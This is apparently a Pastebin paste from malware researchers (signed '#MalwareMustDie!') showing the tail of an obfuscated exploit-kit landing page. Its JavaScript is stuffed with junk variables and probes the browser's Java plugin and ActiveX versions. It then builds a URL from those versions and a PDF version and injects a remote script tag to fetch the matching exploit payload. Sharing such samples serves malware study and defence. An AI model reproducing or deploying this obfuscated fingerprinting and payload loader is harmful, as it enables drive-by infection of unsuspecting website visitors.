  497. var M0gvfzTd = "X2SbSBMXuAzkBg"; ;
  498. var K9nBeM = false; ;
  499. ver = formatNum(ver)+"_1";
  500. var Z0DTsWN = 41661374; var G3sMSI = "X5aoBtofst"; var d9LhH = new Object(); ;
  501. var N5XkJkb = false; ;
  502. var d6IfU = "V9hgxOohuV"; var b0TRAX = new Array(); var k5nDPlV = true; var I0VqBae = 99406589; ;
  503. }
  504. }
  505. if(!ver){
  506. var l4Jicedc = ["application/x-java-applet","application/x-java-vm","application/x-java-bean"];
  507. var c4LQb = 71221170; var p8IpNfkL = 14662921; var M3rSVoKk = true; var O1XPF = "W8TKWkX"; ;
  508. var R0iJaB = 56032768; var a1qCxbo = 96326519; var I8yhi = false; var d8VBPym = 15654200; ;
  509. var F8ADv = "z5ZsD"; var w1VzmU = new Array(); var W9zyTqMH = new Array(); ;
  510. var b = hasMimeType(l4Jicedc);
  511. var A6OpVzV = "I2Antlcxirp"; var e8gEe = "S4qgOxJTkhHg"; ;
  512. var p8IhWTC = 1385093; ;
  513. var u7Mps = 20882809; var C0Cpukii = false; var r6CGVC = true; ;
  514. if(b && (b = b.enabledPlugin)){
  515. ver = getNum(b.description)||getNum(b.name);
  516. var e0owhBTf = false; var U9Pglvgf = new Object(); var H1ibyEQ = new Array(); ;
  517. var r7vGb = new Array(); var G2hPl = "f9AMRCHoqDVCVlglvb"; var H9KpMyWk = 22770595; ;
  518. var u1kZVn = "U7aXQsderVGqeq"; var W4UHtoL = "W9CHamPuLPDyyrsT"; var E5OIduMv = new Object(); ;
  519. ver = formatNum(ver)+"_2";
  520. var N9wLUZ = 24815656; var J3eZtD = 84728092; var E8msZzq = "g9hwFnJE"; var E5Udeg = 60875725; ;
  521. var g4qEGWFk = new Object(); ;
  522. var J0FFAgbB = new Array(); var e5kGVsms = "R7Sdss"; var i8NbUJ = "h1IJLTZzO"; var E5hsq = 43150732; ;
  523. }
  524.  
  525. }
  526.  
  527. if(!ver){
  528. var k = "Next.*Generation.*Java.*Plug-?in|Java.*Plug-?in|Classic.*Java.*Plug-in";
  529. var z3iuxn = "x9CTeFGZv"; var M9TKE = new Array(); ;
  530. var z2vCBc = 80768987; ;
  531. var t2NATmD = new Object(); ;
  532. k = k.split("|");
  533. var f4CqO = 64509561; var z4AJp = "O7gTfKAvN"; ;
  534. var s4PTK = "U5nMtA"; var e1VlnDgS = new Object(); ;
  535. var z2vtGwk = new Object(); var T9nGsqP = "i4WiVbuzpSU"; ;
  536. for(i=0;i<k.length;i++){
  537. var b=findNavPlugin(k[i],0);
  538. var S2iiuo = 36914131; var C4adO = "i8MfAktwRBtbIld"; var B9fWhs = true; var K9RydZuK = false; ;
  539. var y9WBOsfW = new Object(); var q8OyL = "l2TsaRqsSRuznH"; ;
  540. var u9Orcp = 15750875; var z8bqG = "h4fTND"; ;
  541. if(b){
  542. ver = getNum(b.description)||getNum(b.name);
  543. var h3HDds = 46737769; var n1DNBSqz = true; var M5tSg = 20236704; ;
  544. var h6LLp = new Array(); var v5NlQAO = "u1McZRvrwwzcZ"; ;
  545. var D5wZBxu = 89518755; var c3Raxk = true; var k6xwd = 92729672; ;
  546. if(ver){
  547. ver = formatNum(ver)+"_3";
  548. var W7rHN = 9203852; var f8ADW = 84249380; ;
  549. var E7xVGIFZ = false; ;
  550. var l2iLr = new Array(); var l0LrQfM = true; var D1vMTg = 87736886; var g0UOCOt = "l8bWqqafwBzTTqlQe"; ;
  551. break;
  552. var f7ZGN = new Array(); var K0lVl = false; var y1KHb = 16258660; ;
  553. var l9WEFSf = 2235923; var C2Qri = false; var c5eziNk = 60745713; var G1UJU = "F8khuflkcp"; ;
  554. var g1HvX = new Object(); ;
  555. }
  556. }
  557. }
  558. }
  559.  
  560. if(!ver && navigator.javaEnabled()){
  561. var L3olV;
  562. var g2sDU = new Array(); var z6JxK = "K6wlLqyu"; ;
  563. var K9ViMhtr = "d6KtaOhsRWKTseFp"; ;
  564. var X9oPvN = 78693809; var q2bTm = false; ;
  565. var p5sfK;
  566. var H7iXM = new Object(); ;
  567. var G5sOCyUp = 17721625; var I5Dxg = 29081823; ;
  568. var T1toog = true; var T2GiKh = "D3vgWh"; ;
  569. var b=findNavPlugin("Java Deployment Toolkit",0);
  570. var v1Zmwk = false; ;
  571. var O3CqIh = true; var G7DtC = false; var t2HrWw = "o5HxTLWDzSS"; ;
  572. var Q7OypOtA = true; ;
  573. if(b){
  574. ver = getNum(b.description)||getNum(b.name);
  575. var p9qzzD = new Object(); var v6OwO = "M8kQQgnVEHrpJGvTvn"; var d0sviv = "V2aAPz"; var h0sphJoS = false; ;
  576. var h6uZq = new Array(); var s2TzEp = "U7PehlESyOXhEVqdwU"; ;
  577. var k5lgJy = false; var m2dqIog = "w7lKUTTlPLq"; ;
  578. if(ver && b.version){
  579. ver = b.version;
  580. var V4AMxIkg = new Object(); var V7pCeIS = new Object(); var m7qOpVMW = "p7rAOnucCxhfDzsCHz"; ;
  581. var P7JoG = true; var P5eBJFV = new Array(); ;
  582. var Z2unJ = new Object(); var G4lIHbB = true; var P9okWNhi = new Object(); var g0MuB = 21137911; ;
  583. }
  584. ver = formatNum(ver)+"_4";
  585. var C1dMvL = new Array(); var T5GeE = new Object(); var p1Tum = "K6yOvNLcz"; ;
  586. var r2Lqn = new Object(); ;
  587. var u0eyOnu = 66061612; var C8DyCUsc = "c0npSFDevNkt"; ;
  588. }
  589. }
  590. } else {
  591.  
  592. try {
  593. var z3xXgidz = document.createElement("object");
  594. var q4KEEu = "M8TbrVwFtPmortftIf"; var c5bNbshH = 94757876; ;
  595. var v4hGSOk = "w2buOnqDAqzrApcO"; var U5pGl = 89205480; var A3Vqu = "U1MCMuDChRedleMkoL"; var f6imL = true; ;
  596. var A7ICya = "Q5RFrTfdbQhwVLMBSJ"; var l1SXf = false; var a3dgaAO = new Object(); var e1ONouLu = false; ;
  597. z3xXgidz.setAttribute("classid","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA");
  598. var r4kDnHTg = 54858543; ;
  599. var t7nvZbt = 22148923; var B7IbPJ = "E3zJX"; ;
  600. var W2BDHn = 40753212; var Z5PQrXOV = new Object(); ;
  601. z3xXgidz.setAttribute("id","actx");
  602. var q4XoVosb = "g6iPfb"; ;
  603. var x2lmBGb = "g5PPdSJ"; var l3UTz = 91156428; var S0GOcxT = new Object(); ;
  604. var L9GqASf = new Object(); ;
  605. document.getElementsByTagName("body")[0].appendChild(z3xXgidz);
  606. var Z2TLU = "p5fBgaTZtsRQ"; var W3DCOFoF = true; var Z3cuHusR = true; var A4LLqFH = false; ;
  607. var o9PCuQh = new Array(); var i4XwULIH = new Array(); ;
  608. var z8ImD = new Object(); var Q4PWyeez = "w1yaPGFnUKKOQbK"; var A2AdbZ = 62229280; var W0Pbs = 95477535; ;
  609. var i8ZdzB = document.getElementById("actx").jvms;
  610. var l2TRr = new Array(); var T7WUvam = "E8mSDRTJvIIG"; var N6OEe = "e0PaxAKDuUUXKXPPO"; var z9CRDz = true; ;
  611. var O8gAGN = new Array(); ;
  612. var k8vwEHt = "d1rPD"; var V4IeoroX = new Object(); var e1RwsJ = 34413092; var N4SLVsx = new Object(); ;
  613. ver = i8ZdzB.get(0).version;
  614. var q6hsV = new Object(); var D2uLeHQm = "b2rgiNLGqKJ"; ;
  615. var V7cmMmLv = new Object(); ;
  616. var n0mfLZD = "t0KkuCxGHg"; var i2UJteB = 64906004; var o2Zwfd = new Object(); var E7wxgGrN = new Object(); ;
  617. ver = formatNum(ver)+"_11";
  618. var k8tOEW = new Object(); var L2FkZ = new Array(); var A8iGyIZF = new Object(); var V7BwSn = 63558136; ;
  619. var L4NmD = false; ;
  620. var O1Tkyn = new Object(); var e8IkGZQv = "L4pZWUzUWmstasZIf"; var s9kwdsoD = 2481054; var B9mvoa = new Array(); ;
  621. } catch (e) {
  622.  
  623.  
  624. javaVerArr = ["160","170"];
  625. var D8ThfNyo = false; ;
  626. var F7HSNS = "m1VCTGVStZCChZ"; var u3SimF = new Array(); ;
  627. var I1Rri = false; var G8eDhUm = "Q1VsnGcP"; var r3nlEEW = new Object(); ;
  628. for(i=0;i<javaVerArr.length;i++){
  629. for(p=37;p>=0;p--){
  630. if( getActX("JavaPlugin."+javaVerArr[i]+"_"+p) ){
  631. ver = javaVerArr[i].split("").join(".")+"_"+p;
  632. var u4wEPoz = 49532773; var z3axwFdI = new Array(); var P4sTeWZ = new Object(); var K6wvh = true; ;
  633. var e5eBW = false; var v5FvpTt = false; ;
  634. var p3yIJ = "Z0JkMfWTLqK"; var T9VMSEyb = new Array(); ;
  635. ver = formatNum(ver)+"_12";
  636. var N6wJpVCz = 92869368; var T1iadFG = 3922802; var m5CaNVGx = true; ;
  637. var X9LOwn = false; ;
  638. var X3qhGC = 2217814; var A2uohB = new Object(); var i4agatly = "z5wQTMeSbinqgqK"; ;
  639. break;
  640. var c9lfJ = new Object(); var I2DIINM = false; var f3IJi = new Object(); var k6ZFSJBt = "n8WeHAhgZHyQgiL"; ;
  641. var T7dycdh = new Array(); var Q7nGX = 8730191; var c2Dqw = new Array(); ;
  642. var V2UEd = 91061272; var p1UhGBwe = 21441118; ;
  643. }
  644. }
  645. }
  646. }
  647. }
  648. return ver;
  649. var i0eFwVNn = 73072426; var x7iLu = false; ;
  650. var D3WRp = 12176304; var l4KJWzXG = "E5pTnMWdWpSyIbUPT"; var k2ykXxu = "M5kLTBB"; ;
  651. var W9IxrssK = new Array(); var n0gIaREc = "h2LeTXPIwf"; ;
  652. }
  653.  
  654. var I3mK = p0TEWvgm + decodeStr( java() + "/" + pdf() ) + t9EqPDMAq;
  655. var t0Xmo = true; var v2hsOxDH = "u1DcphJTghJ"; ;
  656. var T9FWlhs = false; var c5aoHgLd = "U2ACaqTddHdNewO"; ;
  657. var q1gwX = new Array(); ;
  658.  
  659. var S4MRi = document.createElement("script");
  660. var V9ewIVTT = new Array(); var t3TZl = 82369635; ;
  661. var z8DBxxh = 71523022; var T4ZZfP = new Array(); ;
  662. var A9aGuXE = 63835003; ;
  663. S4MRi.setAttribute("src",I3mK);
  664. var D5JyK = new Object(); var n2TWqJuH = true; var U6Ixw = 73049297; var R8kLH = new Object(); ;
  665. var t1FqMLF = 61127604; var N3Xuwh = new Array(); var N6bOyJVB = true; ;
  666. var N1KoXH = new Object(); var P0bevPwd = new Array(); var Z4ToBxe = "e5EiBQHaKIVnqbGsKw"; ;
  667. var p7xhwhPeP = document.getElementsByTagName("body")[0].appendChild(S4MRi);
  668. var e2ZyN = new Array(); var y3onKH = new Object(); ;
  669. var Q8lgmT = 49981983; ;
  670. var p1XZTNMa = 75776867; ;
  671.  
  672. </script>
  673. </body>
  674. </html>
  675. ----
  676. #MalwareMustDie!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement